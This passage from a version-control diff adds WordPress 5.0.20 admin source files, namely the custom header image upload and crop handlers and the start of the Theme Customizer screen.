+	echo '<input type="text" name="text-color" id="text-color" value="' . esc_attr( $header_textcolor ) . '"' . $default_color_attr . ' />';
+	if ( $default_color ) {
+		echo ' <span class="description hide-if-js">' . sprintf( _x( 'Default: %s', 'color' ), esc_html( $default_color ) ) . '</span>';
+	}
+	?>
+	</p>
+</td>
+</tr>
+</tbody>
+</table>
+<?php endif;
+
+/**
+ * Fires just before the submit button in the custom header options form.
+ *
+ * @since 3.1.0
+ */
+do_action( 'custom_header_options' );
+
+wp_nonce_field( 'custom-header-options', '_wpnonce-custom-header-options' ); ?>
+
+<?php submit_button( null, 'primary', 'save-header-options' ); ?>
+</form>
+</div>
+
+<?php }
+
+	/**
+	 * Display second step of custom header image page.
+	 *
+	 * @since 2.1.0
+	 */
+	public function step_2() {
+		check_admin_referer('custom-header-upload', '_wpnonce-custom-header-upload');
+		if ( ! current_theme_supports( 'custom-header', 'uploads' ) ) {
+			wp_die(
+				'<h1>' . __( 'Something went wrong.' ) . '</h1>' .
+				'<p>' . __( 'The current theme does not support uploading a custom header image.' ) . '</p>',
+				403
+			);
+		}
+
+		if ( empty( $_POST ) && isset( $_GET['file'] ) ) {
+			$attachment_id = absint( $_GET['file'] );
+			$file = get_attached_file( $attachment_id, true );
+			$url = wp_get_attachment_image_src( $attachment_id, 'full' );
+			$url = $url[0];
+		} elseif ( isset( $_POST ) ) {
+			$data = $this->step_2_manage_upload();
+			$attachment_id = $data['attachment_id'];
+			$file = $data['file'];
+			$url = $data['url'];
+		}
+
+		if ( file_exists( $file ) ) {
+			list( $width, $height, $type, $attr ) = getimagesize( $file );
+		} else {
+			$data = wp_get_attachment_metadata( $attachment_id );
+			$height = isset( $data[ 'height' ] ) ? $data[ 'height' ] : 0;
+			$width = isset( $data[ 'width' ] ) ? $data[ 'width' ] : 0;
+			unset( $data );
+		}
+
+		$max_width = 0;
+		// For flex, limit size of image displayed to 1500px unless theme says otherwise
+		if ( current_theme_supports( 'custom-header', 'flex-width' ) )
+			$max_width = 1500;
+
+		if ( current_theme_supports( 'custom-header', 'max-width' ) )
+			$max_width = max( $max_width, get_theme_support( 'custom-header', 'max-width' ) );
+		$max_width = max( $max_width, get_theme_support( 'custom-header', 'width' ) );
+
+		// If flexible height isn't supported and the image is the exact right size
+		if ( ! current_theme_supports( 'custom-header', 'flex-height' ) && ! current_theme_supports( 'custom-header', 'flex-width' )
+			&& $width == get_theme_support( 'custom-header', 'width' ) && $height == get_theme_support( 'custom-header', 'height' ) )
+		{
+			// Add the meta-data
+			if ( file_exists( $file ) )
+				wp_update_attachment_metadata( $attachment_id, wp_generate_attachment_metadata( $attachment_id, $file ) );
+
+			$this->set_header_image( compact( 'url', 'attachment_id', 'width', 'height' ) );
+
+			/**
+			 * Fires after the header image is set or an error is returned.
+			 *
+			 * @since 2.1.0
+			 *
+			 * @param string $file          Path to the file.
+			 * @param int    $attachment_id Attachment ID.
+			 */
+			do_action( 'wp_create_file_in_uploads', $file, $attachment_id ); // For replication
+
+			return $this->finished();
+		} elseif ( $width > $max_width ) {
+			$oitar = $width / $max_width;
+			$image = wp_crop_image($attachment_id, 0, 0, $width, $height, $max_width, $height / $oitar, false, str_replace(basename($file), 'midsize-'.basename($file), $file));
+			if ( ! $image || is_wp_error( $image ) )
+				wp_die( __( 'Image could not be processed. Please go back and try again.' ), __( 'Image Processing Error' ) );
+
+			/** This filter is documented in wp-admin/custom-header.php */
+			$image = apply_filters( 'wp_create_file_in_uploads', $image, $attachment_id ); // For replication
+
+			$url = str_replace(basename($url), basename($image), $url);
+			$width = $width / $oitar;
+			$height = $height / $oitar;
+		} else {
+			$oitar = 1;
+		}
+		?>
+
+<div class="wrap">
+<h1><?php _e( 'Crop Header Image' ); ?></h1>
+
+<form method="post" action="<?php echo esc_url(add_query_arg('step', 3)); ?>">
+	<p class="hide-if-no-js"><?php _e('Choose the part of the image you want to use as your header.'); ?></p>
+	<p class="hide-if-js"><strong><?php _e( 'You need JavaScript to choose a part of the image.'); ?></strong></p>
+
+	<div id="crop_image" style="position: relative">
+		<img src="<?php echo esc_url( $url ); ?>" id="upload" width="<?php echo $width; ?>" height="<?php echo $height; ?>" alt="" />
+	</div>
+
+	<input type="hidden" name="x1" id="x1" value="0"/>
+	<input type="hidden" name="y1" id="y1" value="0"/>
+	<input type="hidden" name="width" id="width" value="<?php echo esc_attr( $width ); ?>"/>
+	<input type="hidden" name="height" id="height" value="<?php echo esc_attr( $height ); ?>"/>
+	<input type="hidden" name="attachment_id" id="attachment_id" value="<?php echo esc_attr( $attachment_id ); ?>" />
+	<input type="hidden" name="oitar" id="oitar" value="<?php echo esc_attr( $oitar ); ?>" />
+	<?php if ( empty( $_POST ) && isset( $_GET['file'] ) ) { ?>
+	<input type="hidden" name="create-new-attachment" value="true" />
+	<?php } ?>
+	<?php wp_nonce_field( 'custom-header-crop-image' ) ?>
+
+	<p class="submit">
+	<?php submit_button( __( 'Crop and Publish' ), 'primary', 'submit', false ); ?>
+	<?php
+	if ( isset( $oitar ) && 1 == $oitar && ( current_theme_supports( 'custom-header', 'flex-height' ) || current_theme_supports( 'custom-header', 'flex-width' ) ) )
+		submit_button( __( 'Skip Cropping, Publish Image as Is' ), '', 'skip-cropping', false );
+	?>
+	</p>
+</form>
+</div>
+		<?php
+	}
+
+
+	/**
+	 * Upload the file to be cropped in the second step.
+	 *
+	 * @since 3.4.0
+	 */
+	public function step_2_manage_upload() {
+		$overrides = array('test_form' => false);
+
+		$uploaded_file = $_FILES['import'];
+		$wp_filetype = wp_check_filetype_and_ext( $uploaded_file['tmp_name'], $uploaded_file['name'] );
+		if ( ! wp_match_mime_types( 'image', $wp_filetype['type'] ) )
+			wp_die( __( 'The uploaded file is not a valid image. Please try again.' ) );
+
+		$file = wp_handle_upload($uploaded_file, $overrides);
+
+		if ( isset($file['error']) )
+			wp_die( $file['error'],  __( 'Image Upload Error' ) );
+
+		$url = $file['url'];
+		$type = $file['type'];
+		$file = $file['file'];
+		$filename = basename($file);
+
+		// Construct the object array
+		$object = array(
+			'post_title'     => $filename,
+			'post_content'   => $url,
+			'post_mime_type' => $type,
+			'guid'           => $url,
+			'context'        => 'custom-header'
+		);
+
+		// Save the data
+		$attachment_id = wp_insert_attachment( $object, $file );
+		return compact( 'attachment_id', 'file', 'filename', 'url', 'type' );
+	}
+
+	/**
+	 * Display third step of custom header image page.
+	 *
+	 * @since 2.1.0
+	 * @since 4.4.0 Switched to using wp_get_attachment_url() instead of the guid
+	 *              for retrieving the header image URL.
+	 */
+	public function step_3() {
+		check_admin_referer( 'custom-header-crop-image' );
+
+		if ( ! current_theme_supports( 'custom-header', 'uploads' ) ) {
+			wp_die(
+				'<h1>' . __( 'Something went wrong.' ) . '</h1>' .
+				'<p>' . __( 'The current theme does not support uploading a custom header image.' ) . '</p>',
+				403
+			);
+		}
+
+		if ( ! empty( $_POST['skip-cropping'] ) && ! ( current_theme_supports( 'custom-header', 'flex-height' ) || current_theme_supports( 'custom-header', 'flex-width' ) ) ) {
+			wp_die(
+				'<h1>' . __( 'Something went wrong.' ) . '</h1>' .
+				'<p>' . __( 'The current theme does not support a flexible sized header image.' ) . '</p>',
+				403
+			);
+		}
+
+		if ( $_POST['oitar'] > 1 ) {
+			$_POST['x1'] = $_POST['x1'] * $_POST['oitar'];
+			$_POST['y1'] = $_POST['y1'] * $_POST['oitar'];
+			$_POST['width'] = $_POST['width'] * $_POST['oitar'];
+			$_POST['height'] = $_POST['height'] * $_POST['oitar'];
+		}
+
+		$attachment_id = absint( $_POST['attachment_id'] );
+		$original = get_attached_file($attachment_id);
+
+		$dimensions = $this->get_header_dimensions( array(
+			'height' => $_POST['height'],
+			'width'  => $_POST['width'],
+		) );
+		$height = $dimensions['dst_height'];
+		$width = $dimensions['dst_width'];
+
+		if ( empty( $_POST['skip-cropping'] ) )
+			$cropped = wp_crop_image( $attachment_id, (int) $_POST['x1'], (int) $_POST['y1'], (int) $_POST['width'], (int) $_POST['height'], $width, $height );
+		elseif ( ! empty( $_POST['create-new-attachment'] ) )
+			$cropped = _copy_image_file( $attachment_id );
+		else
+			$cropped = get_attached_file( $attachment_id );
+
+		if ( ! $cropped || is_wp_error( $cropped ) )
+			wp_die( __( 'Image could not be processed. Please go back and try again.' ), __( 'Image Processing Error' ) );
+
+		/** This filter is documented in wp-admin/custom-header.php */
+		$cropped = apply_filters( 'wp_create_file_in_uploads', $cropped, $attachment_id ); // For replication
+
+		$object = $this->create_attachment_object( $cropped, $attachment_id );
+
+		if ( ! empty( $_POST['create-new-attachment'] ) )
+			unset( $object['ID'] );
+
+		// Update the attachment
+		$attachment_id = $this->insert_attachment( $object, $cropped );
+
+		$url = wp_get_attachment_url( $attachment_id );
+		$this->set_header_image( compact( 'url', 'attachment_id', 'width', 'height' ) );
+
+		// Cleanup.
+		$medium = str_replace( basename( $original ), 'midsize-' . basename( $original ), $original );
+		if ( file_exists( $medium ) ) {
+			wp_delete_file( $medium );
+		}
+
+		if ( empty( $_POST['create-new-attachment'] ) && empty( $_POST['skip-cropping'] ) ) {
+			wp_delete_file( $original );
+		}
+
+		return $this->finished();
+	}
+
+	/**
+	 * Display last step of custom header image page.
+	 *
+	 * @since 2.1.0
+	 */
+	public function finished() {
+		$this->updated = true;
+		$this->step_1();
+	}
+
+	/**
+	 * Display the page based on the current step.
+	 *
+	 * @since 2.1.0
+	 */
+	public function admin_page() {
+		if ( ! current_user_can('edit_theme_options') )
+			wp_die(__('Sorry, you are not allowed to customize headers.'));
+		$step = $this->step();
+		if ( 2 == $step )
+			$this->step_2();
+		elseif ( 3 == $step )
+			$this->step_3();
+		else
+			$this->step_1();
+	}
+
+	/**
+	 * Unused since 3.5.0.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @param array $form_fields
+	 * @return array $form_fields
+	 */
+	public function attachment_fields_to_edit( $form_fields ) {
+		return $form_fields;
+	}
+
+	/**
+	 * Unused since 3.5.0.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @param array $tabs
+	 * @return array $tabs
+	 */
+	public function filter_upload_tabs( $tabs ) {
+		return $tabs;
+	}
+
+	/**
+	 * Choose a header image, selected from existing uploaded and default headers,
+	 * or provide an array of uploaded header data (either new, or from media library).
+	 *
+	 * @since 3.4.0
+	 *
+	 * @param mixed $choice Which header image to select. Allows for values of 'random-default-image',
+	 * 	for randomly cycling among the default images; 'random-uploaded-image', for randomly cycling
+	 * 	among the uploaded images; the key of a default image registered for that theme; and
+	 * 	the key of an image uploaded for that theme (the attachment ID of the image).
+	 *  Or an array of arguments: attachment_id, url, width, height. All are required.
+	 */
+	final public function set_header_image( $choice ) {
+		if ( is_array( $choice ) || is_object( $choice ) ) {
+			$choice = (array) $choice;
+			if ( ! isset( $choice['attachment_id'] ) || ! isset( $choice['url'] ) )
+				return;
+
+			$choice['url'] = esc_url_raw( $choice['url'] );
+
+			$header_image_data = (object) array(
+				'attachment_id' => $choice['attachment_id'],
+				'url'           => $choice['url'],
+				'thumbnail_url' => $choice['url'],
+				'height'        => $choice['height'],
+				'width'         => $choice['width'],
+			);
+
+			update_post_meta( $choice['attachment_id'], '_wp_attachment_is_custom_header', get_stylesheet() );
+			set_theme_mod( 'header_image', $choice['url'] );
+			set_theme_mod( 'header_image_data', $header_image_data );
+			return;
+		}
+
+		if ( in_array( $choice, array( 'remove-header', 'random-default-image', 'random-uploaded-image' ) ) ) {
+			set_theme_mod( 'header_image', $choice );
+			remove_theme_mod( 'header_image_data' );
+			return;
+		}
+
+		$uploaded = get_uploaded_header_images();
+		if ( $uploaded && isset( $uploaded[ $choice ] ) ) {
+			$header_image_data = $uploaded[ $choice ];
+
+		} else {
+			$this->process_default_headers();
+			if ( isset( $this->default_headers[ $choice ] ) )
+				$header_image_data = $this->default_headers[ $choice ];
+			else
+				return;
+		}
+
+		set_theme_mod( 'header_image', esc_url_raw( $header_image_data['url'] ) );
+		set_theme_mod( 'header_image_data', $header_image_data );
+	}
+
+	/**
+	 * Remove a header image.
+	 *
+	 * @since 3.4.0
+	 */
+	final public function remove_header_image() {
+		$this->set_header_image( 'remove-header' );
+	}
+
+	/**
+	 * Reset a header image to the default image for the theme.
+	 *
+	 * This method does not do anything if the theme does not have a default header image.
+	 *
+	 * @since 3.4.0
+	 */
+	final public function reset_header_image() {
+		$this->process_default_headers();
+		$default = get_theme_support( 'custom-header', 'default-image' );
+
+		if ( ! $default ) {
+			$this->remove_header_image();
+			return;
+		}
+		$default = sprintf( $default, get_template_directory_uri(), get_stylesheet_directory_uri() );
+
+		$default_data = array();
+		foreach ( $this->default_headers as $header => $details ) {
+			if ( $details['url'] == $default ) {
+				$default_data = $details;
+				break;
+			}
+		}
+
+		set_theme_mod( 'header_image', $default );
+		set_theme_mod( 'header_image_data', (object) $default_data );
+	}
+
+	/**
+	 * Calculate width and height based on what the currently selected theme supports.
+	 *
+	 * @since 3.9.0
+	 *
+	 * @param array $dimensions
+	 * @return array dst_height and dst_width of header image.
+	 */
+	final public function get_header_dimensions( $dimensions ) {
+		$max_width = 0;
+		$width = absint( $dimensions['width'] );
+		$height = absint( $dimensions['height'] );
+		$theme_height = get_theme_support( 'custom-header', 'height' );
+		$theme_width = get_theme_support( 'custom-header', 'width' );
+		$has_flex_width = current_theme_supports( 'custom-header', 'flex-width' );
+		$has_flex_height = current_theme_supports( 'custom-header', 'flex-height' );
+		$has_max_width = current_theme_supports( 'custom-header', 'max-width' ) ;
+		$dst = array( 'dst_height' => null, 'dst_width' => null );
+
+		// For flex, limit size of image displayed to 1500px unless theme says otherwise
+		if ( $has_flex_width ) {
+			$max_width = 1500;
+		}
+
+		if ( $has_max_width ) {
+			$max_width = max( $max_width, get_theme_support( 'custom-header', 'max-width' ) );
+		}
+		$max_width = max( $max_width, $theme_width );
+
+		if ( $has_flex_height && ( ! $has_flex_width || $width > $max_width ) ) {
+			$dst['dst_height'] = absint( $height * ( $max_width / $width ) );
+		}
+		elseif ( $has_flex_height && $has_flex_width ) {
+			$dst['dst_height'] = $height;
+		}
+		else {
+			$dst['dst_height'] = $theme_height;
+		}
+
+		if ( $has_flex_width && ( ! $has_flex_height || $width > $max_width ) ) {
+			$dst['dst_width'] = absint( $width * ( $max_width / $width ) );
+		}
+		elseif ( $has_flex_width && $has_flex_height ) {
+			$dst['dst_width'] = $width;
+		}
+		else {
+			$dst['dst_width'] = $theme_width;
+		}
+
+		return $dst;
+	}
+
+	/**
+	 * Create an attachment 'object'.
+	 *
+	 * @since 3.9.0
+	 *
+	 * @param string $cropped              Cropped image URL.
+	 * @param int    $parent_attachment_id Attachment ID of parent image.
+	 * @return array Attachment object.
+	 */
+	final public function create_attachment_object( $cropped, $parent_attachment_id ) {
+		$parent = get_post( $parent_attachment_id );
+		$parent_url = wp_get_attachment_url( $parent->ID );
+		$url = str_replace( basename( $parent_url ), basename( $cropped ), $parent_url );
+
+		$size = @getimagesize( $cropped );
+		$image_type = ( $size ) ? $size['mime'] : 'image/jpeg';
+
+		$object = array(
+			'ID' => $parent_attachment_id,
+			'post_title' => basename($cropped),
+			'post_mime_type' => $image_type,
+			'guid' => $url,
+			'context' => 'custom-header',
+			'post_parent' => $parent_attachment_id,
+		);
+
+		return $object;
+	}
+
+	/**
+	 * Insert an attachment and its metadata.
+	 *
+	 * @since 3.9.0
+	 *
+	 * @param array  $object  Attachment object.
+	 * @param string $cropped Cropped image URL.
+	 * @return int Attachment ID.
+	 */
+	final public function insert_attachment( $object, $cropped ) {
+		$parent_id = isset( $object['post_parent'] ) ? $object['post_parent'] : null;
+		unset( $object['post_parent'] );
+
+		$attachment_id = wp_insert_attachment( $object, $cropped );
+		$metadata = wp_generate_attachment_metadata( $attachment_id, $cropped );
+
+		// If this is a crop, save the original attachment ID as metadata.
+		if ( $parent_id ) {
+			$metadata['attachment_parent'] = $parent_id;
+		}
+
+		/**
+		 * Filters the header image attachment metadata.
+		 *
+		 * @since 3.9.0
+		 *
+		 * @see wp_generate_attachment_metadata()
+		 *
+		 * @param array $metadata Attachment metadata.
+		 */
+		$metadata = apply_filters( 'wp_header_image_attachment_metadata', $metadata );
+
+		wp_update_attachment_metadata( $attachment_id, $metadata );
+
+		return $attachment_id;
+	}
+
+	/**
+	 * Gets attachment uploaded by Media Manager, crops it, then saves it as a
+	 * new object. Returns JSON-encoded object details.
+	 *
+	 * @since 3.9.0
+	 */
+	public function ajax_header_crop() {
+		check_ajax_referer( 'image_editor-' . $_POST['id'], 'nonce' );
+
+		if ( ! current_user_can( 'edit_theme_options' ) ) {
+			wp_send_json_error();
+		}
+
+		if ( ! current_theme_supports( 'custom-header', 'uploads' ) ) {
+			wp_send_json_error();
+		}
+
+		$crop_details = $_POST['cropDetails'];
+
+		$dimensions = $this->get_header_dimensions( array(
+			'height' => $crop_details['height'],
+			'width'  => $crop_details['width'],
+		) );
+
+		$attachment_id = absint( $_POST['id'] );
+
+		$cropped = wp_crop_image(
+			$attachment_id,
+			(int) $crop_details['x1'],
+			(int) $crop_details['y1'],
+			(int) $crop_details['width'],
+			(int) $crop_details['height'],
+			(int) $dimensions['dst_width'],
+			(int) $dimensions['dst_height']
+		);
+
+		if ( ! $cropped || is_wp_error( $cropped ) ) {
+			wp_send_json_error( array( 'message' => __( 'Image could not be processed. Please go back and try again.' ) ) );
+		}
+
+		/** This filter is documented in wp-admin/custom-header.php */
+		$cropped = apply_filters( 'wp_create_file_in_uploads', $cropped, $attachment_id ); // For replication
+
+		$object = $this->create_attachment_object( $cropped, $attachment_id );
+
+		$previous = $this->get_previous_crop( $object );
+
+		if ( $previous ) {
+			$object['ID'] = $previous;
+		} else {
+			unset( $object['ID'] );
+		}
+
+		$new_attachment_id = $this->insert_attachment( $object, $cropped );
+
+		$object['attachment_id'] = $new_attachment_id;
+		$object['url']           = wp_get_attachment_url( $new_attachment_id );;
+		$object['width']         = $dimensions['dst_width'];
+		$object['height']        = $dimensions['dst_height'];
+
+		wp_send_json_success( $object );
+	}
+
+	/**
+	 * Given an attachment ID for a header image, updates its "last used"
+	 * timestamp to now.
+	 *
+	 * Triggered when the user tries adds a new header image from the
+	 * Media Manager, even if s/he doesn't save that change.
+	 *
+	 * @since 3.9.0
+	 */
+	public function ajax_header_add() {
+		check_ajax_referer( 'header-add', 'nonce' );
+
+		if ( ! current_user_can( 'edit_theme_options' ) ) {
+			wp_send_json_error();
+		}
+
+		$attachment_id = absint( $_POST['attachment_id'] );
+		if ( $attachment_id < 1 ) {
+			wp_send_json_error();
+		}
+
+		$key = '_wp_attachment_custom_header_last_used_' . get_stylesheet();
+		update_post_meta( $attachment_id, $key, time() );
+		update_post_meta( $attachment_id, '_wp_attachment_is_custom_header', get_stylesheet() );
+
+		wp_send_json_success();
+	}
+
+	/**
+	 * Given an attachment ID for a header image, unsets it as a user-uploaded
+	 * header image for the current theme.
+	 *
+	 * Triggered when the user clicks the overlay "X" button next to each image
+	 * choice in the Customizer's Header tool.
+	 *
+	 * @since 3.9.0
+	 */
+	public function ajax_header_remove() {
+		check_ajax_referer( 'header-remove', 'nonce' );
+
+		if ( ! current_user_can( 'edit_theme_options' ) ) {
+			wp_send_json_error();
+		}
+
+		$attachment_id = absint( $_POST['attachment_id'] );
+		if ( $attachment_id < 1 ) {
+			wp_send_json_error();
+		}
+
+		$key = '_wp_attachment_custom_header_last_used_' . get_stylesheet();
+		delete_post_meta( $attachment_id, $key );
+		delete_post_meta( $attachment_id, '_wp_attachment_is_custom_header', get_stylesheet() );
+
+		wp_send_json_success();
+	}
+
+	/**
+	 * Updates the last-used postmeta on a header image attachment after saving a new header image via the Customizer.
+	 *
+	 * @since 3.9.0
+	 *
+	 * @param WP_Customize_Manager $wp_customize Customize manager.
+	 */
+	public function customize_set_last_used( $wp_customize ) {
+
+		$header_image_data_setting = $wp_customize->get_setting( 'header_image_data' );
+		if ( ! $header_image_data_setting ) {
+			return;
+		}
+		$data = $header_image_data_setting->post_value();
+
+		if ( ! isset( $data['attachment_id'] ) ) {
+			return;
+		}
+
+		$attachment_id = $data['attachment_id'];
+		$key = '_wp_attachment_custom_header_last_used_' . get_stylesheet();
+		update_post_meta( $attachment_id, $key, time() );
+	}
+
+	/**
+	 * Gets the details of default header images if defined.
+	 *
+	 * @since 3.9.0
+	 *
+	 * @return array Default header images.
+	 */
+	public function get_default_header_images() {
+		$this->process_default_headers();
+
+		// Get the default image if there is one.
+		$default = get_theme_support( 'custom-header', 'default-image' );
+
+		if ( ! $default ) { // If not,
+			return $this->default_headers; // easy peasy.
+		}
+
+		$default = sprintf( $default, get_template_directory_uri(), get_stylesheet_directory_uri() );
+		$already_has_default = false;
+
+		foreach ( $this->default_headers as $k => $h ) {
+			if ( $h['url'] === $default ) {
+				$already_has_default = true;
+				break;
+			}
+		}
+
+		if ( $already_has_default ) {
+			return $this->default_headers;
+		}
+
+		// If the one true image isn't included in the default set, prepend it.
+		$header_images = array();
+		$header_images['default'] = array(
+			'url'           => $default,
+			'thumbnail_url' => $default,
+			'description'   => 'Default'
+		);
+
+		// The rest of the set comes after.
+		return array_merge( $header_images, $this->default_headers );
+	}
+
+	/**
+	 * Gets the previously uploaded header images.
+	 *
+	 * @since 3.9.0
+	 *
+	 * @return array Uploaded header images.
+	 */
+	public function get_uploaded_header_images() {
+		$header_images = get_uploaded_header_images();
+		$timestamp_key = '_wp_attachment_custom_header_last_used_' . get_stylesheet();
+		$alt_text_key = '_wp_attachment_image_alt';
+
+		foreach ( $header_images as &$header_image ) {
+			$header_meta = get_post_meta( $header_image['attachment_id'] );
+			$header_image['timestamp'] = isset( $header_meta[ $timestamp_key ] ) ? $header_meta[ $timestamp_key ] : '';
+			$header_image['alt_text'] = isset( $header_meta[ $alt_text_key ] ) ? $header_meta[ $alt_text_key ] : '';
+		}
+
+		return $header_images;
+	}
+
+	/**
+	 * Get the ID of a previous crop from the same base image.
+	 *
+	 * @since 4.9.0
+	 *
+	 * @param  array $object A crop attachment object.
+	 * @return int|false An attachment ID if one exists. False if none.
+	 */
+	public function get_previous_crop( $object ) {
+		$header_images = $this->get_uploaded_header_images();
+
+		// Bail early if there are no header images.
+		if ( empty( $header_images ) ) {
+			return false;
+		}
+
+		$previous = false;
+
+		foreach ( $header_images as $image ) {
+			if ( $image['attachment_parent'] === $object['post_parent'] ) {
+				$previous = $image['attachment_id'];
+				break;
+			}
+		}
+
+		return $previous;
+	}
+}
Index: /tags/5.0.20/src/wp-admin/customize.php
===================================================================
--- /tags/5.0.20/src/wp-admin/customize.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/customize.php	(revision 56912)
@@ -0,0 +1,262 @@
+<?php
+/**
+ * Theme Customize Screen.
+ *
+ * @package WordPress
+ * @subpackage Customize
+ * @since 3.4.0
+ */
+
+define( 'IFRAME_REQUEST', true );
+
+/** Load WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+if ( ! current_user_can( 'customize' ) ) {
+	wp_die(
+		'<h1>' . __( 'You need a higher level of permission.' ) . '</h1>' .
+		'<p>' . __( 'Sorry, you are not allowed to customize this site.' ) . '</p>',
+		403
+	);
+}
+
+/**
+ * @global WP_Scripts           $wp_scripts
+ * @global WP_Customize_Manager $wp_customize
+ */
+global $wp_scripts, $wp_customize;
+
+if ( $wp_customize->changeset_post_id() ) {
+	$changeset_post = get_post( $wp_customize->changeset_post_id() );
+
+	if ( ! current_user_can( get_post_type_object( 'customize_changeset' )->cap->edit_post, $changeset_post->ID ) ) {
+		wp_die(
+			'<h1>' . __( 'You need a higher level of permission.' ) . '</h1>' .
+			'<p>' . __( 'Sorry, you are not allowed to edit this changeset.' ) . '</p>',
+			403
+		);
+	}
+
+	$missed_schedule = (
+		'future' === $changeset_post->post_status &&
+		get_post_time( 'G', true, $changeset_post ) < time()
+	);
+	if ( $missed_schedule ) {
+		/*
+		 * Note that an Ajax request spawns here instead of just calling `wp_publish_post( $changeset_post->ID )`.
+		 *
+		 * Because WP_Customize_Manager is not instantiated for customize.php with the `settings_previewed=false`
+		 * argument, settings cannot be reliably saved. Some logic short-circuits if the current value is the
+		 * same as the value being saved. This is particularly true for options via `update_option()`.
+		 *
+		 * By opening an Ajax request, this is avoided and the changeset is published. See #39221.
+		 */
+		$nonces = $wp_customize->get_nonces();
+		$request_args = array(
+			'nonce' => $nonces['save'],
+			'customize_changeset_uuid' => $wp_customize->changeset_uuid(),
+			'wp_customize' => 'on',
+			'customize_changeset_status' => 'publish',
+		);
+		ob_start();
+		?>
+		<?php wp_print_scripts( array( 'wp-util' ) ); ?>
+		<script>
+			wp.ajax.post( 'customize_save', <?php echo wp_json_encode( $request_args ); ?> );
+		</script>
+		<?php
+		$script = ob_get_clean();
+
+		wp_die(
+			'<h1>' . __( 'Your scheduled changes just published' ) . '</h1>' .
+			'<p><a href="' . esc_url( remove_query_arg( 'changeset_uuid' ) ) . '">' . __( 'Customize New Changes' ) . '</a></p>' . $script,
+			200
+		);
+	}
+
+	if ( in_array( get_post_status( $changeset_post->ID ), array( 'publish', 'trash' ), true ) ) {
+		wp_die(
+			'<h1>' . __( 'Something went wrong.' ) . '</h1>' .
+			'<p>' . __( 'This changeset cannot be further modified.' ) . '</p>' .
+			'<p><a href="' . esc_url( remove_query_arg( 'changeset_uuid' ) ) . '">' . __( 'Customize New Changes' ) . '</a></p>',
+			403
+		);
+	}
+}
+
+
+wp_reset_vars( array( 'url', 'return', 'autofocus' ) );
+if ( ! empty( $url ) ) {
+	$wp_customize->set_preview_url( wp_unslash( $url ) );
+}
+if ( ! empty( $return ) ) {
+	$wp_customize->set_return_url( wp_unslash( $return ) );
+}
+if ( ! empty( $autofocus ) && is_array( $autofocus ) ) {
+	$wp_customize->set_autofocus( wp_unslash( $autofocus ) );
+}
+
+$registered = $wp_scripts->registered;
+$wp_scripts = new WP_Scripts;
+$wp_scripts->registered = $registered;
+
+add_action( 'customize_controls_print_scripts',        'print_head_scripts', 20 );
+add_action( 'customize_controls_print_footer_scripts', '_wp_footer_scripts'     );
+add_action( 'customize_controls_print_styles',         'print_admin_styles', 20 );
+
+/**
+ * Fires when Customizer controls are initialized, before scripts are enqueued.
+ *
+ * @since 3.4.0
+ */
+do_action( 'customize_controls_init' );
+
+wp_enqueue_script( 'heartbeat' );
+wp_enqueue_script( 'customize-controls' );
+wp_enqueue_style( 'customize-controls' );
+
+/**
+ * Enqueue Customizer control scripts.
+ *
+ * @since 3.4.0
+ */
+do_action( 'customize_controls_enqueue_scripts' );
+
+// Let's roll.
+@header('Content-Type: ' . get_option('html_type') . '; charset=' . get_option('blog_charset'));
+
+wp_user_settings();
+_wp_admin_html_begin();
+
+$body_class = 'wp-core-ui wp-customizer js';
+
+if ( wp_is_mobile() ) :
+	$body_class .= ' mobile';
+
+	?><meta name="viewport" id="viewport-meta" content="width=device-width, initial-scale=1.0, minimum-scale=0.5, maximum-scale=1.2" /><?php
+endif;
+
+if ( $wp_customize->is_ios() ) {
+	$body_class .= ' ios';
+}
+
+if ( is_rtl() ) {
+	$body_class .= ' rtl';
+}
+$body_class .= ' locale-' . sanitize_html_class( strtolower( str_replace( '_', '-', get_user_locale() ) ) );
+
+$admin_title = sprintf( $wp_customize->get_document_title_template(), __( 'Loading&hellip;' ) );
+
+?><title><?php echo $admin_title; ?></title>
+
+<script type="text/javascript">
+var ajaxurl = <?php echo wp_json_encode( admin_url( 'admin-ajax.php', 'relative' ) ); ?>,
+	pagenow = 'customize';
+</script>
+
+<?php
+/**
+ * Fires when Customizer control styles are printed.
+ *
+ * @since 3.4.0
+ */
+do_action( 'customize_controls_print_styles' );
+
+/**
+ * Fires when Customizer control scripts are printed.
+ *
+ * @since 3.4.0
+ */
+do_action( 'customize_controls_print_scripts' );
+?>
+</head>
+<body class="<?php echo esc_attr( $body_class ); ?>">
+<div class="wp-full-overlay expanded">
+	<form id="customize-controls" class="wrap wp-full-overlay-sidebar">
+		<div id="customize-header-actions" class="wp-full-overlay-header">
+			<?php $save_text = $wp_customize->is_theme_active() ? __( 'Publish' ) : __( 'Activate &amp; Publish' ); ?>
+			<div id="customize-save-button-wrapper" class="customize-save-button-wrapper" >
+				<?php submit_button( $save_text, 'primary save', 'save', false ); ?>
+				<button id="publish-settings" class="publish-settings button-primary button dashicons dashicons-admin-generic" aria-label="<?php esc_attr_e( 'Publish Settings' ); ?>" aria-expanded="false" disabled></button>
+			</div>
+			<span class="spinner"></span>
+			<button type="button" class="customize-controls-preview-toggle">
+				<span class="controls"><?php _e( 'Customize' ); ?></span>
+				<span class="preview"><?php _e( 'Preview' ); ?></span>
+			</button>
+			<a class="customize-controls-close" href="<?php echo esc_url( $wp_customize->get_return_url() ); ?>">
+				<span class="screen-reader-text"><?php _e( 'Close the Customizer and go back to the previous page' ); ?></span>
+			</a>
+		</div>
+
+		<div id="customize-sidebar-outer-content">
+			<div id="customize-outer-theme-controls">
+				<ul class="customize-outer-pane-parent"><?php // Outer panel and sections are not implemented, but its here as a placeholder to avoid any side-effect in api.Section. ?></ul>
+			</div>
+		</div>
+
+		<div id="widgets-right" class="wp-clearfix"><!-- For Widget Customizer, many widgets try to look for instances under div#widgets-right, so we have to add that ID to a container div in the Customizer for compat -->
+			<div id="customize-notifications-area" class="customize-control-notifications-container">
+				<ul></ul>
+			</div>
+			<div class="wp-full-overlay-sidebar-content" tabindex="-1">
+				<div id="customize-info" class="accordion-section customize-info">
+					<div class="accordion-section-title">
+						<span class="preview-notice"><?php
+							echo sprintf( __( 'You are customizing %s' ), '<strong class="panel-title site-title">' . get_bloginfo( 'name', 'display' ) . '</strong>' );
+						?></span>
+						<button type="button" class="customize-help-toggle dashicons dashicons-editor-help" aria-expanded="false"><span class="screen-reader-text"><?php _e( 'Help' ); ?></span></button>
+					</div>
